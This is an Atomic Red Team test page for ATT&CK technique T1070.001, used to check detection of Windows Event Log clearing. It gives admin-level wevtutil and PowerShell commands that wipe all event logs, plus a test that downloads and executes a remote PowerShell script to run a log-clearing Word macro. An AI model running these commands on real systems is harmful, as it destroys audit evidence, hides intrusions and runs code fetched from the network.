T1070.001.md

T1070.001 - Clear Windows Event Logs

Description from ATT&CK

Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer's alerts and notifications. There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit.

The event logs can be cleared with the following utility commands:

• wevtutil cl system
• wevtutil cl application
• wevtutil cl security

These logs may also be cleared through other mechanisms, such as the event viewer GUI or PowerShell.

Atomic Tests

• Atomic Test #1 - Clear Logs

• Atomic Test #2 - Delete System Logs Using Clear-EventLog

• Atomic Test #3 - Clear Event Logs via VBA

Atomic Test #1 - Clear Logs

Upon execution this test will clear Windows Event Logs. Open the System.evtx logs at C:\Windows\System32\winevt\Logs and verify that it is now empty.

Supported Platforms: Windows

Inputs:

Name	Description	Type	Default Value
log_name	Windows Log Name, ex System	String	System

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

wevtutil cl #{log_name}

Atomic Test #2 - Delete System Logs Using Clear-EventLog

Clear event logs using built-in PowerShell commands. Upon successful execution, you should see the list of deleted event logs Upon execution, open the Security.evtx logs at C:\Windows\System32\winevt\Logs and verify that it is now empty or has very few logs in it.

Supported Platforms: Windows

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

$logs = Get-EventLog -List | ForEach-Object {$_.Log}
$logs | ForEach-Object {Clear-EventLog -LogName $_ }
Get-EventLog -list

Atomic Test #3 - Clear Event Logs via VBA

This module utilizes WMI via VBA to clear the Security and Backup eventlogs from the system.

Elevation is required for this module to execute properly, otherwise WINWORD will throw an "Access Denied" error

Supported Platforms: Windows

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1070.001\src\T1070.001-macrocode.txt" -officeProduct "Word" -sub "ClearLogs"

Dependencies: Run with powershell!

Description: Microsoft Word must be installed

Check Prereq Commands:

try {
  New-Object -COMObject "Word.Application" | Out-Null
  Stop-Process -Name "winword"
  exit 0
} catch { exit 1 } 

Get Prereq Commands:

Write-Host "You will need to install Microsoft Word manually to meet this requirement"